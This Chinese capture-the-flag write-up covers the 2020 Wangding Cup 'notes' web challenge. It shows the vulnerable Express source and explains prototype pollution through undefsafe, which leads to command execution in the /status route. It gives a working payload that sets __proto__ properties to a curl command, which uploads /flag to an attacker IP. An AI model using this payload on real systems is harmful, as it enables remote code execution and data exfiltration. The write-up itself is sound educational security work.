[网鼎杯 2020 青龙组]notes wp

人生艰难,做了两天。学到不少。
给了js代码。第一次做js题,贼难受。

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const {
      exec } = require('child_process');


var app = express();
class Notes {
     
    constructor() {
     
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {
     };
    }

    write_note(author, raw_note) {
     
        this.note_list[(this.num++).toString()] = {
     "author": author,"raw_note":raw_note};
    }

    get_note(id) {
     
        var r = {
     }
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
     
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
     
        return this.note_list;
    }

    remove_note(id) {
     
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({
      extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
     
  res.render('index', {
      title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
     
        res.render('mess', {
     message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
     
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
     
            notes.write_note(author, raw);
            res.render('mess', {
     message: "add note sucess"});
        } else {
     
            res.render('mess', {
     message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
     
        res.render('mess', {
     message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
     
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
     
            notes.edit_note(id, author, enote);
            res.render('mess', {
     message: "edit note sucess"});
        } else {
     
            res.render('mess', {
     message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
     
        res.render('mess', {
     message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
     
        let id = req.body.id;
        if (id) {
     
            notes.remove_note(id);
            res.render('mess', {
     message: "delete done"});
        } else {
     
            res.render('mess', {
     message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
     
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
     
            a_note = notes.get_all_notes();
        } else {
     
            a_note = notes.get_note(q);
        }
        res.render('note', {
     list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
     
        let commands = {
     
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
     
            exec(commands[index], {
     shell:'/bin/bash'}, (err, stdout, stderr) => {
     
                if (err) {
     
                    return;
                }
                console.log(`stdout: ${
       stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
     
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
     
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${
       port}`))

阅读代码找不到啥地方有问题,看了wp发现是exec,我就好奇了,exec再js中明明是字符串相关的,咋成了命令执行了?

看了半天发现上面有require引入了child_process这个文件,查阅资料发现这里面是一个命令执行。

第一次遇到原型链污染的问题,网上了解了原型链污染的原理后,发现commands与note_list都是数组对象的实例,他们的原型类肯定相同。

只要通过Notes类中的edit_note方法修改note_list的原型类的数据就可以污染commands

上网查询得知undefsafe正好有原型类污染的漏洞,给id赋值__porto__就可以给原型了新增author 和 raw_note 两个属性。

因此,遍历command的属性的时候可以遍历到这两个属性并执行。
所以再edit_note路由下post

id=__proto__.bb&author=curl -F ‘flag=@/flag’ 174.1.166.72:8080&raw=a
其中 通过curl命令上传内容为本地/flag文件的名字为flag的文件到攻击机ip的8080端口。

此时commands的原型类已经被污染,commands多了包含远程请求的代码。
访问/status路由执行命令。
通过RCE,监听攻击机的8080端口获得上传文件的flag文件中的内容获得flag。

注意:buu无法访问外网,需要用basic linuxlab的内网服务器作为攻击机接受上传的信息。

你可能感兴趣的:(nodejs)